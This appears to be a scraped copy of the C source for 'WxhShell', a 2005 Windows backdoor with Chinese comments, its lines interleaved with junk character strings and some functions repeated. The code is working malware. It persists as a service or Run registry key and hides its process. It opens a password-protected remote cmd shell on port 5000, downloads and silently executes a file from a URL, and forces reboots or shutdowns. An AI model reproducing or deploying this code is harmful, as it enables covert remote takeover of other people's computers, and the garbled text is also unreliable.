(ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Qe5U<3{JZ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j"|=C$Kn/ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !/3B3cG !cAyTl(_ if (!NtQueryInformationProcess) return 0; t7?Zxq `P8Vh+7u hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B&.FOO if(!hProcess) return 0; u(wGl_ }c}|
$h^Y if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y?a
Acn$ Ie`13 L2 CloseHandle(hProcess); QZ:8+[oy r.>].~}4 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); TT4./R: if(hProcess==NULL) return 0; 'b#0t#|TM I9mvte HMODULE hMod; EVVP]ND char procName[255]; d\61;C unsigned long cbNeeded; },>pDeX^P Qkd<sxL if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qLT>Mz)$% 3`ELKq CloseHandle(hProcess); v{jQek4 .Jrqm if(strstr(procName,"services")) return 1; // 以服务启动 ghX|3lI\q 0DmMG return 0; // 注册表启动 (h5'9r } G_k~X" W81E!RyP` // 主模块 OZTPOz. int StartWxhshell(LPSTR lpCmdLine) l#H#+*F { 2GWMlI SOCKET wsl; 'iGzkf}j BOOL val=TRUE; $;/}?QY( int port=0; *IY*yR6 struct sockaddr_in door; W'.s\e?gh >b6-OFJx if(wscfg.ws_autoins) Install(); k?z98 >4 ?F6pEt4 port=atoi(lpCmdLine); _',prZ* b r^_'1 if(port<=0) port=wscfg.ws_port; rZfN+S,g
mi)LP?q WSADATA data; _/s(7y! if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?}RSwl
6C]1Q.f; if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; u9}1)9 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M\Z6$<H?U door.sin_family = AF_INET; bV8!"{ door.sin_addr.s_addr = inet_addr("127.0.0.1"); z 6?)3' door.sin_port = htons(port); *hQTO=WF 20iq2 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :w<V closesocket(wsl); spGB)k,^ return 1; |/2y-[;: } yI ld75S` eXKo.JL if(listen(wsl,2) == INVALID_SOCKET) { }*ZHgf]~# closesocket(wsl); )~+ e`q return 1; tvu!< dxZ } E7CH^]x Wxhshell(wsl); sp5eVAd WSACleanup();
Tjl:|F8 8&Oa_{1+Q return 0; nD)K}4 HE'2"t[a } {iv<w8CU) l411a9o // 以NT服务方式启动 xZQg'IT VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9$Xu,y { 2Ri{bWi DWORD status = 0; P#_sg0oJF DWORD specificError = 0xfffffff; mdq;R*` ;Ww7"-=sw serviceStatus.dwServiceType = SERVICE_WIN32; ??i,Vr@)w serviceStatus.dwCurrentState = SERVICE_START_PENDING; Q<KvBgmT serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z j/!In serviceStatus.dwWin32ExitCode = 0; ~5 *5 serviceStatus.dwServiceSpecificExitCode = 0; 3q'&j,,^ serviceStatus.dwCheckPoint = 0; rc/nFl6# serviceStatus.dwWaitHint = 0; 8:#rA*Y Ci<ATho hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }yJ$SR]t if (hServiceStatusHandle==0) return; -,+q#F CWNx4)ZGw status = GetLastError(); qWx][D" if (status!=NO_ERROR) ']>Mp#j { m<w"T7 serviceStatus.dwCurrentState = SERVICE_STOPPED; Ojt`^r !V serviceStatus.dwCheckPoint = 0; wAz&"rS serviceStatus.dwWaitHint = 0; >9f%@uSM$3 serviceStatus.dwWin32ExitCode = status; }j^\(2 serviceStatus.dwServiceSpecificExitCode = specificError; >TP7 }u| SetServiceStatus(hServiceStatusHandle, &serviceStatus); CXO2N1~(J return; S=nP[s } `"@g8PWe }Y*VAnY6; serviceStatus.dwCurrentState = SERVICE_RUNNING; u_'!_T L serviceStatus.dwCheckPoint = 0; 4lM8\Lr serviceStatus.dwWaitHint = 0; S3@|Q\*r if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DZv=\<$,LF } [ e8x&{L-_ |<Gl91 // 处理NT服务事件,比如:启动、停止 ]ZoD'-, VOID WINAPI NTServiceHandler(DWORD fdwControl) .p=sBLp8 { *0}3t<5 switch(fdwControl) ^kgBa2 7 { .-IkL|M case SERVICE_CONTROL_STOP: 8?i7U<CB serviceStatus.dwWin32ExitCode = 0; (&P9+Tl serviceStatus.dwCurrentState = SERVICE_STOPPED; 0q*r serviceStatus.dwCheckPoint = 0; 1I*7SkgKv serviceStatus.dwWaitHint = 0; z9p05NFH { `KCh*i SetServiceStatus(hServiceStatusHandle, &serviceStatus); Da v PYg } d5>H3D{49 return; (C\hVy2X?N case SERVICE_CONTROL_PAUSE: Hw|AA?,0- serviceStatus.dwCurrentState = SERVICE_PAUSED; u@.>Z{h break; aj"M>zd*} case SERVICE_CONTROL_CONTINUE: \2(SB serviceStatus.dwCurrentState = SERVICE_RUNNING; ZWm8*}3]7_ break; !TP@-
X; case SERVICE_CONTROL_INTERROGATE: yY&3p1AxW] break; LS5vW|]w }; Qq@G\eRo SetServiceStatus(hServiceStatusHandle, &serviceStatus); `AkIK* } NO0"* c ; S<L.c // 标准应用程序主函数 W?We6.%
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sz9G3artK& { <97d[/7i 0UH*\<R // 获取操作系统版本 "
beQZG OsIsNt=GetOsVer(); +R\vgE68 GetModuleFileName(NULL,ExeFile,MAX_PATH); u- o--q RC^9HuR& // 从命令行安装 5|I[>Su if(strpbrk(lpCmdLine,"iI")) Install(); UDe |Sb Bcjx>#3?L // 下载执行文件 `xc^_781\ if(wscfg.ws_downexe) { 7]BW[~77 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `- \/$M9s= WinExec(wscfg.ws_filenam,SW_HIDE); %&Fk4Z}M } Lj"A4i_ ;=9
>MS} if(!OsIsNt) { R.s^o]vT // 如果时win9x,隐藏进程并且设置为注册表启动 eVR5Xar HideProc(); v$)q($}p StartWxhshell(lpCmdLine); A+&xMM2Wj } 2TES>} else &I({T`= if(StartFromService())
c\q
// 以服务方式启动 8`]=C~G StartServiceCtrlDispatcher(DispatchTable); ;),BW g else e }*0ghKI // 普通方式启动 ~=wCwA|1 StartWxhshell(lpCmdLine); ^@"H1 mrJQ# return 0; y')RT R{>M } Pa^A$fy\ |w*R8ro_ H Y ynMP 8$c bVMjh =========================================== kwud?2E 7P B)'Wl"6 e2+BWKaU =X!IHd0 <|*'O5B om3`[r[{ " }%-t+Tf, 9 Q!bt #include <stdio.h> @O}7XRJ_8 #include <string.h> $fpq
3 #include <windows.h> ~aXqU#8 #include <winsock2.h> <N(oDa U #include <winsvc.h> r{seb E\
; #include <urlmon.h> @[6,6:h| ,zQOZ'^ #pragma comment (lib, "Ws2_32.lib") M('d-Q{B7L #pragma comment (lib, "urlmon.lib") `Ci4YDaz;k hAqg Iu* #define MAX_USER 100 // 最大客户端连接数 #RMI&[M #define BUF_SOCK 200 // sock buffer Vi]c%*k #define KEY_BUFF 255 // 输入 buffer k{AyD`'Q ,SScf98,j #define REBOOT 0 // 重启 \]Dt4o*yZ #define SHUTDOWN 1 // 关机
I<=Df5M &48_2Q"{ #define DEF_PORT 5000 // 监听端口 7dX/bzUVz8 rxO2js #define REG_LEN 16 // 注册表键长度 AY SSa 1} #define SVC_LEN 80 // NT服务名长度 b}G24{ 3I|3wQ ( // 从dll定义API dp5f7>]:( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sLcFt1 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R
4wr typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +jqj6O@Tjr typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jAND7&W aj~bt-cE // wxhshell配置信息 ]bgY6@M struct WSCFG { #*c F8NV- int ws_port; // 监听端口 [WB{T3j char ws_passstr[REG_LEN]; // 口令 33~qgK1> int ws_autoins; // 安装标记, 1=yes 0=no "Jy~PcJZ1 char ws_regname[REG_LEN]; // 注册表键名 n(lk
dw char ws_svcname[REG_LEN]; // 服务名 R[1BfZ 6s char ws_svcdisp[SVC_LEN]; // 服务显示名 me\cLFw char ws_svcdesc[SVC_LEN]; // 服务描述信息 "%@uO)A / char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pl V7+?G int ws_downexe; // 下载执行标记, 1=yes 0=no \;]kYO} char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G_ Ay char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m=b~i^@ o0pT6N) }; WA)Ij(M8 p z{BA4sn // default Wxhshell configuration m_!U}! struct WSCFG wscfg={DEF_PORT, NNa1EXZ[ "xuhuanlingzhe", 2N~ E' 25 1, z}.D"
P+ "Wxhshell", cX
A t:m "Wxhshell", 1Qh`6Ya f "WxhShell Service", Z0fJ9HW "Wrsky Windows CmdShell Service", L|^o71t| "Please Input Your Password: ", ~]8p_;\ 1, ^ft]b2i "http://www.wrsky.com/wxhshell.exe", l[/q%Ca'> "Wxhshell.exe" fw{,bJ(U }; .h;Se >&H~nGP. // 消息定义模块 t#<KxwhcN char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hN(L@0) char *msg_ws_prompt="\n\r? for help\n\r#>"; Z,WW]Y,$ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =V|Nn0E char *msg_ws_ext="\n\rExit."; ?z"KnR+?Q char *msg_ws_end="\n\rQuit."; `<j_[(5yb char *msg_ws_boot="\n\rReboot..."; 1.R
kIB char *msg_ws_poff="\n\rShutdown..."; X^< >6|) char *msg_ws_down="\n\rSave to "; GJ}.\EaAJ w}M3x^9@ char *msg_ws_err="\n\rErr!"; ^C9x.4I$) char *msg_ws_ok="\n\rOK!"; G5{Ot>;*%
o A~4p( char ExeFile[MAX_PATH]; `W[+%b int nUser = 0; XLTD;[jO HANDLE handles[MAX_USER]; rF'R>/H int OsIsNt; 0k?Sq#7q C>*n9l[M~ SERVICE_STATUS serviceStatus; XKq@]=\F SERVICE_STATUS_HANDLE hServiceStatusHandle; acOJ]] Dw |3Z // 函数声明 \]Z&P,}w int Install(void); St>`p- int Uninstall(void); Isovwd int DownloadFile(char *sURL, SOCKET wsh); 8mgQu]> int Boot(int flag); n=`w9qajd void HideProc(void); 6~Wu` int GetOsVer(void); viuiqs5[Bi int Wxhshell(SOCKET wsl);
C(]'&~}( void TalkWithClient(void *cs); ):bu;3E int CmdShell(SOCKET sock); , deUsc int StartFromService(void); -NDi5i\ int StartWxhshell(LPSTR lpCmdLine); $o^e:Y,
a O}gX{_|6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KtMbze VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6.Bh3p @8"18HEp# // 数据结构和表定义 Bp0bY9xLg_ SERVICE_TABLE_ENTRY DispatchTable[] = <lOaor
c { (^H5EeGV{ {wscfg.ws_svcname, NTServiceMain}, m1e b8yX {NULL, NULL} w &vhWq }; m4gU*? {Bvm'lq` // 自我安装 9Q@*0- int Install(void) S?,_<GD)w { M7VID6J. char svExeFile[MAX_PATH]; +5*vABvCu HKEY key; y`b\;kd strcpy(svExeFile,ExeFile); +v[O ?`A9(#ySM // 如果是win9x系统,修改注册表设为自启动 n+quSF) if(!OsIsNt) { ,#aS/+;[) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6+8mV8{-8 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \/,g VT RegCloseKey(key); 1D$::{h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d_iY&-gq/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J v<$*TVS0 RegCloseKey(key); Ofm5[q= return 0; ]xR4->eix } sA\L7`2H } M@O2
WB1ws } sPpS~wk* else { |yAK@Hl' 9-G b"hr // 如果是NT以上系统,安装为系统服务 aQmfrx SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u&SZlkf6% if (schSCManager!=0) hwDXm9 { p!GZCf, SC_HANDLE schService = CreateService MOyT< $ ( k ZK//YN# schSCManager, [` 'd#pR wscfg.ws_svcname, ?48AY6 wscfg.ws_svcdisp, !
IgoL&= SERVICE_ALL_ACCESS, K_##-6> SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U"B.:C2 SERVICE_AUTO_START, 6+Jry@ SERVICE_ERROR_NORMAL, 7O461$4v svExeFile, 4OEKx|:5n NULL, =43d%N
NULL, HZuiVW8 NULL, fM{1Os NULL, A^cU$V%?W NULL B<+pg ); bqjr0A7{ if (schService!=0) ,|iy1yg( { <Cr8V'c CloseServiceHandle(schService); L"^.0*X/d CloseServiceHandle(schSCManager); ~T&%
VvI strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (!ZV9S strcat(svExeFile,wscfg.ws_svcname); L1F###c if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g 9|qbKQ:[ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xDLMPo& RegCloseKey(key); !Y|8z\Q return 0; }\4p3RQrz } p6[#f96^u } GY7s CloseServiceHandle(schSCManager); w~{| S7/ } >3+FZ@.iT } V*~423 X/wmKi return 1; C{)HlOW } FbBX}n |f3U%2@ // 自我卸载 [%t3[p<)O int Uninstall(void) enPLaiJ'|q { 94+/wzWvi HKEY key; W'V@ >"bnpYSe if(!OsIsNt) { -+' #*V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }
m6\C5 RegDeleteValue(key,wscfg.ws_regname); 5=m3J!? RegCloseKey(key); T aEt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k}-]W@UCa? RegDeleteValue(key,wscfg.ws_regname); i[8NO$tN1) RegCloseKey(key); b^%?S8]h return 0; %awVVt{aG } []rT? - } ru DP529; } 9,w}Xe=C else { H):-!?: Gj5>Y!9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >j)
w\i if (schSCManager!=0) ;{]8>`im&4 { joY1(Y SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e"PMvQ if (schService!=0) srsK:%` { @7 )Z if(DeleteService(schService)!=0) { u2\+?`Ox CloseServiceHandle(schService); s><IykIi CloseServiceHandle(schSCManager); }U(\~
=D return 0; Ou? r {$(b } 2q/nAQ+ CloseServiceHandle(schService); XN4oL[pO } Et)920 CloseServiceHandle(schSCManager); _ r~+p } 'HJ/2-= } *$JB`=Q D7M0NEY return 1; v&e-`.xR } )&XnM69~b q%DVDq( z // 从指定url下载文件 Q5hb0O%a int DownloadFile(char *sURL, SOCKET wsh) xkF$D:sP { jzMhJ HRESULT hr; 7TnM4@*f char seps[]= "/"; ([[)Ub$U char *token; /z..5r^,ZZ char *file; .r7D)xNa@ char myURL[MAX_PATH]; Q6eN+i2 ; char myFILE[MAX_PATH]; y{YXf!AS }Z"28? strcpy(myURL,sURL); kSB3KR;~n token=strtok(myURL,seps); "$]ls9-%n while(token!=NULL) - J{Dxz { {3.*7gnY\L file=token; |OOXh[y token=strtok(NULL,seps); Td5bDO } ss/h[4h4h DgC3>
yL GetCurrentDirectory(MAX_PATH,myFILE); 3Ca
\`m)l strcat(myFILE, "\\"); n}=rj7 strcat(myFILE, file); 4U}zJP(L send(wsh,myFILE,strlen(myFILE),0); k\nH&nb send(wsh,"...",3,0); fE'-.nA+ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LjSLg[ i if(hr==S_OK) )\0Ug7]? return 0; ^WmGo]<B_ else \5t`p67Ve_ return 1; ESn6D@" p(~Y"
H } yI3Q |731) JL?Cnk$! // 系统电源模块 45?*:)l: int Boot(int flag) ||yXp2 { R:]/{b4Uq HANDLE hToken; gW'P`Oxw TOKEN_PRIVILEGES tkp; uE"5 cq'B/ ;R/k2^uF if(OsIsNt) { W+8BQ-2 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '$n:CNha LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J 5Wz4`' tkp.PrivilegeCount = 1; j?Cr31 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; RP,A!pa@ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c!tvG*{ if(flag==REBOOT) { gTqeJWX9wP if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N-XVRuv return 0; s.VUdR" } fEHh]%GT` else { &7$,<9. if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D/gd return 0; kuWK/6l4 } IRlN++I! } 6e-#XCR{ else { FYp|oD2=1 if(flag==REBOOT) { gsLr= if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ov?.:M return 0; I/^q+l.=`{ } )w
Z49>Y else { Y8D7<V~Md if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p.@0=) return 0; uo]Hi^r.l } S9$o } jN31\)/i =''mpIg( return 1; nu#aa#ex> } <P+G7!KZ& 0\?_lT2 // win9x进程隐藏模块 Aqa6R+c void HideProc(void) 'q{PtYr { >(IITt ,:v.L}+Z HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vh<]aiY if ( hKernel != NULL ) //#xK D { fKPiRlLS pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JVD@I{ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M,.b`1-w FreeLibrary(hKernel);
jz|Wj } ybD{4&ZE l4iuu return; W2}%zux } 08zi/g2
3 @/CRIei // 获取操作系统版本 C_;HaQiu int GetOsVer(void) <{$ev&bQ { 2>!_B\%) H OSVERSIONINFO winfo; #g@ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4(` 2# GetVersionEx(&winfo); 9X
5*{f Y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a/`c ef return 1; skk-.9 else 6'RZ return 0; Z-N-9E } $w|o@ Ml) :SpG&\+ // 客户端句柄模块 0MwG}|RC int Wxhshell(SOCKET wsl) *4(/t$)pEl { XX]5T`D SOCKET wsh; DePV,. struct sockaddr_in client; MILIu;[{#r DWORD myID; z5x,fQw6O X@6zI-Y% while(nUser<MAX_USER) X% Spv/8{ { ^tm++ int nSize=sizeof(client); >$7wA9YhL wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -D!#W%y8 if(wsh==INVALID_SOCKET) return 1; J>HLQP Ck ~V5 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t]
n(5!L( if(handles[nUser]==0) uvu**s closesocket(wsh); (P
E#
Y( else Z:\;R{D nUser++; ?;0nJf } Bxn8>< WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pr0@sri@ c[wQJc return 0; OoAr% } JVJ1Ay/be j33P~H~ // 关闭 socket *=-__|t void CloseIt(SOCKET wsh) WmT}t { $$2S*qY closesocket(wsh);
At`1) nUser--; % j[O&[s}
ExitThread(0); hRuo,FS#: } !.;xt L AmT|%j&3 // 客户端请求句柄 H j5WJ{p. void TalkWithClient(void *cs) 4
|:Q1 { Vu|Br -V;0_Nx7p SOCKET wsh=(SOCKET)cs; )8 "EI-/. char pwd[SVC_LEN]; 68&6J's; char cmd[KEY_BUFF]; Pe+ 8~0o=R char chr[1]; U /1[~429 int i,j; mV:RmA Q|j@#@O 1 while (nUser < MAX_USER) { G+#| )V <FUqD0sQ if(wscfg.ws_passstr) { |xsV(jK8 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AiyvHt //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f>\bUmk( //ZeroMemory(pwd,KEY_BUFF); Vq\..!y i=0; U}RS*7` while(i<SVC_LEN) { VgFF+Eg Se^/VVm // 设置超时 _V_8p)% fd_set FdRead; [6,]9|~ struct timeval TimeOut; \p>]G[g FD_ZERO(&FdRead); Y^c,mK^ FD_SET(wsh,&FdRead); X] JpS TimeOut.tv_sec=8; C0t+Q TimeOut.tv_usec=0; ,E*a$cCw int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?RRSrr1 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;+r) j"W .yK\&q[< if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s3MMICRT. pwd=chr[0]; "W_jdE6v if(chr[0]==0xd || chr[0]==0xa) { .gM>FUH3L pwd=0; 5I8FD".i break; .q_uJ_qu- } O, ``\(P i++; Kh:#S|
} ;G%wc! j$|Yd= // 如果是非法用户,关闭 socket 6yu*a_ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )F%wwc^r } g9([3pV, sl^s9kx;C$ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UALg!M# send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &m%Pr L!8 -:)0b while(1) { DmXDg7y7s @Q$/eL ZeroMemory(cmd,KEY_BUFF); aiR|.opIb uJIRk$ // 自动支持客户端 telnet标准 @ V7ooo! j=0; Z5*(W;; while(j<KEY_BUFF) { A<YZBR_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U2[3S\@ cmd[j]=chr[0]; (jo(bbpj if(chr[0]==0xa || chr[0]==0xd) { 86^ZYh cmd[j]=0; ]df9'\ break; NDIc?kj~ } p(x1D]#Z[ j++; ^O$[Y9~*
} {0)WS}& /8$1[[[ // 下载文件 r.a9W?(E if(strstr(cmd,"http://")) { I7G\X#,iz send(wsh,msg_ws_down,strlen(msg_ws_down),0); j;AzkReb if(DownloadFile(cmd,wsh)) <D;H}ef send(wsh,msg_ws_err,strlen(msg_ws_err),0);
_A)_K;cz else d5sGkR`( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l|ZzG4]+l } *0&i'0> else { #>=/15: w}bEufU+2 switch(cmd[0]) { ^+-L;XkeY ?9('o\N: // 帮助 /K1$_ case '?': { ,s yA() send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :d%
-,v break; M[
~2,M&H } <_sT]?N# // 安装 cP#]n)< case 'i': { 8Snq75Q< if(Install()) )HzITsFZKT send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~kj(s>xP else #o r7T^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f<> YYeY break; Xg!|F[i } $vw}p. // 卸载 ,a]~hNR*X case 'r': { g]iy-,e if(Uninstall()) Y%CL@G60 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5>1Y="B else u'~b<@wHB send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >uPde5"ZF- break; J%Z)# } y`B!6p
5j // 显示 wxhshell 所在路径 4na4Jsq{ case 'p': { #o"HD6e char svExeFile[MAX_PATH]; TJw.e/ strcpy(svExeFile,"\n\r"); Pu%>j'A strcat(svExeFile,ExeFile); L1Cn send(wsh,svExeFile,strlen(svExeFile),0); +{Jf]"KD break; tls6rto } 0ZID
@^ // 重启 XM@-Y&c$A case 'b': { .f92^lu9 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }_kI> if(Boot(REBOOT)) 5k%N<e`` send(wsh,msg_ws_err,strlen(msg_ws_err),0); m"|(w`n]E+ else { 2`FsG/o\T~ closesocket(wsh); dT,m{[+ ExitThread(0); (fGJP*YO } P"PeLB9K break; K_lL\ } Wse*gO // 关机 ZnhuIAAG case 'd': { %*Z2Gef?H send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;DgX"Uzm if(Boot(SHUTDOWN)) c7nk~K[6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); +} ! F(c else { z7Rcnr; closesocket(wsh); w`#0
Y9O ExitThread(0); a@=36gx) } : {N3o: break; DHumBnQ } !,JT91 // 获取shell /DG`Hg case 's': { U9p.Dh~)vG CmdShell(wsh); x{`<);CQ closesocket(wsh); |7Xpb ExitThread(0); u FYQ^ break; #<i><EG } .McoW7|Y // 退出 }zS&H-8K case 'x': { *~<]|H5~ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7@y!R
CloseIt(wsh); FiU;>t<) break; ~
%YTJS } komxot[[
// 离开 6$vh qg}f case 'q': { D)~nAkVq send(wsh,msg_ws_end,strlen(msg_ws_end),0); HAUTCX closesocket(wsh); -IsdU7} WSACleanup(); WWs[]zr exit(1); g@6X|W5,J break; wR<QeH'V } :-WCW);N } Jgv>$u } `~+a=Q O7'^*"S // 提示信息 BM$tywC if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,a_{ Y+ } #z^1)7 } xE-`Bb 6k=Wt7C return; ;YXr G } {6y.%ysU [[r3fEr$!p // shell模块句柄 p$o&dQ=n[ int CmdShell(SOCKET sock) [qD<U %Hi { dj&m STARTUPINFO si; >Hzb0N!VJ ZeroMemory(&si,sizeof(si)); dpn&)?f si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8YLZ)k' si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t5v)6| PROCESS_INFORMATION ProcessInfo; GH+FZ (F char cmdline[]="cmd"; ;s
B:s9M CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U W)&Eky return 0; FjLv*K[#d } . N} }cJq @NwM+^ // 自身启动模式 f{5|}PL int StartFromService(void) jc~*#\N { AXv;r< typedef struct iGeT^!N { W!0 DWORD ExitStatus; f5qHBQ DWORD PebBaseAddress; D&6Qk&> DWORD AffinityMask; Y*`A$
DWORD BasePriority; I4X+'fW, ULONG UniqueProcessId; u{nWjqrM*5 ULONG InheritedFromUniqueProcessId; n6UU6t{ } PROCESS_BASIC_INFORMATION; uZ?CVluP j72]_G PROCNTQSIP NtQueryInformationProcess; U
<$xp nV xMo_ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^8*SCM_A static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J8?6G&0H 'xXqEwi4 HANDLE hProcess; w|FVqX PROCESS_BASIC_INFORMATION pbi; QOy&!6 z.Kq}r ^ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x|i3e&D if(NULL == hInst ) return 0; QpTNU.v5f DMZ aMY| g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (?3\.tQ}} g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !E#.WX NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =RE_Urt: c7Qa !w if (!NtQueryInformationProcess) return 0; Mciq9{8& |